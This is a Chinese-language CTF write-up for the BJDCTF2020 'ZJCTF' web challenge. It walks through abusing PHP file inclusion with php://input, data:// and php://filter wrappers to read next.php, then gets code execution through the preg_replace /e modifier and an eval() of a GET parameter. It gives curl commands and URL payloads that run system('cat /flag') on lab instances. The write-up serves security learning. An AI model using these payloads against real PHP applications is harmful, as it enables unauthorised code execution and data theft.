[BJDCTF2020]ZJCTF,不过如此

0 阅读1分钟

基础分析

访问靶场界面,存在这样的代码

<?php

error_reporting(0);
$text = $_GET["text"];//get方法获取text参数
$file = $_GET["file"];//get方法获取file参数
//读取test参数指定的文件内容为 I have a dream
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        //若file参数包含"flag"则拒绝
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

看到了include($file);,应该是通过文件包含获取next.php的内容,条件是**test指定的文件的内容完全等于"Ihaveadream"或者利用PHP伪协议(如data://php://input)来构造一个包含"Ihaveadream"的流,同时test**指定的文件的内容完全等于"*I have a dream*"或者利用PHP伪协议(如`data://`或`php://input`)来构造一个包含"*I have a dream*"的流,同时**file要指定next.php的路径,经过测试,寻常文件路径无效,只能试php伪协议来指定$file**

知识回顾

先来看看php伪协议

协议示例主要用途/说明
file://file:///etc/passwd file://C:/Windows/system.ini访问本地文件系统(默认协议)。
php://inputfile_get_contents('php://input')访问原始 HTTP POST 数据。常用于获取 POST请求体。
php://stdin php://stdout php://stderrfopen('php://stdin', 'r')访问标准输入/输出/错误流。
php://memory php://tempfopen('php://memory', 'r+')在内存或临时文件中读写数据。temp会在数据达到一定量后写入临时文件。
php://filterreadfile('php://filter/convert.base64-encode/resource=index.php') include('php://filter/read=convert.base64-encode/resource=index.php')一个元过滤器,用于在数据流打开时应用过滤器。常用于读取文件源码(如Base64编码后绕过某些限制)。
data://include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+') file_get_contents('data://text/plain,hello world')数据流封装器,传递内联数据。格式:data://[][;charset=][;base64],<数据>可用于执行代码
zip://include('zip://archive.zip%23file.txt')访问压缩包内的文件。**#**在 URL 中需编码为 %23,路径为绝对路径。
phar://include('phar://archive.phar/file.txt')访问 PHAR 归档文件(PHP 归档)。与 **zip://**类似,是反序列化攻击的常见入口。
zlib:// bzip2:// compress.zlib://fopen('compress.zlib://file.txt.gz', 'r')用于透明地压缩/解压文件流。
http:// https://file_get_contents('example.com')访问 HTTP(s) URL。需要 allow_url_fopen = On
ftp:// ftps://fopen('ftp://user:pass@example.com/file.txt', 'r')访问 FTP(s) 服务器上的文件。需要 allow_url_fopen = On
glob://foreach(glob('glob:///tmp/*.txt') as $file)查找匹配模式的文件路径。
ssh2.shell:// ssh2.exec://通过 SSH2 扩展进行安全 Shell 访问。
rar://fopen('rar://archive.rar%23file.txt', 'r')访问 RAR 归档文件(需要扩展)。
ogg://fopen('ogg://sound.ogg', 'r')访问音频流(实验性)。

也可参考这张图

cdf1dfdb5bf058cc3c07823f2c9a0cc8-1773363369547-1.png

获取next.php内容

经过测试,只能用php://filter来读取next.php

构造数据流:

php://input :

curl -X POST "http://e1a452de-f143-4d14-856f-ed97c1d27fd0.node5.buuoj.cn:81/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php" -d "I have a dream"

image-20260312184203508.png

data:// :

curl "http://1e1e44e9-4f92-48f6-88a6-4606e7217028.node5.buuoj.cn:81/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php"

image-20260312200325792.png

分析next.php

解码得到

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',// "/e修饰符":在PHP 5.x中,这个修饰符允许将替换字符串作为PHP代码执行,在PHP 7+中已移除
        'strtolower("\\1")',
        $str
    );
}

/*
遍历所有GET参数
参数名作为$re(正则表达式)
参数值作为$str(要处理的字符串)
*/
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);//get cmd参数执行任意PHP代码
}

/e修饰符:在PHP 5.x中,这个修饰符允许将替换字符串作为PHP代码执行,getFlag()可以被调用,利用格式为next.php?\S*=${执行的PHP代码}\S*匹配所有参数

取flag

next.php?\S*=${getFlag()}&cmd=system("ls /");

image-20260312200914458.png

输入next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);得到image-20260312201015650.png

相同的原理,可以构造以下EXP

next.php?\S*=${eval($_GET[0])}&0=system(%27cat%20/flag%27);
next.php?\S*=${system($_GET[a])}&a=cat%20/flag
...

参考

BUUCTF-Web-[BJDCTF2020]ZJCTF,不过如此 | 半枫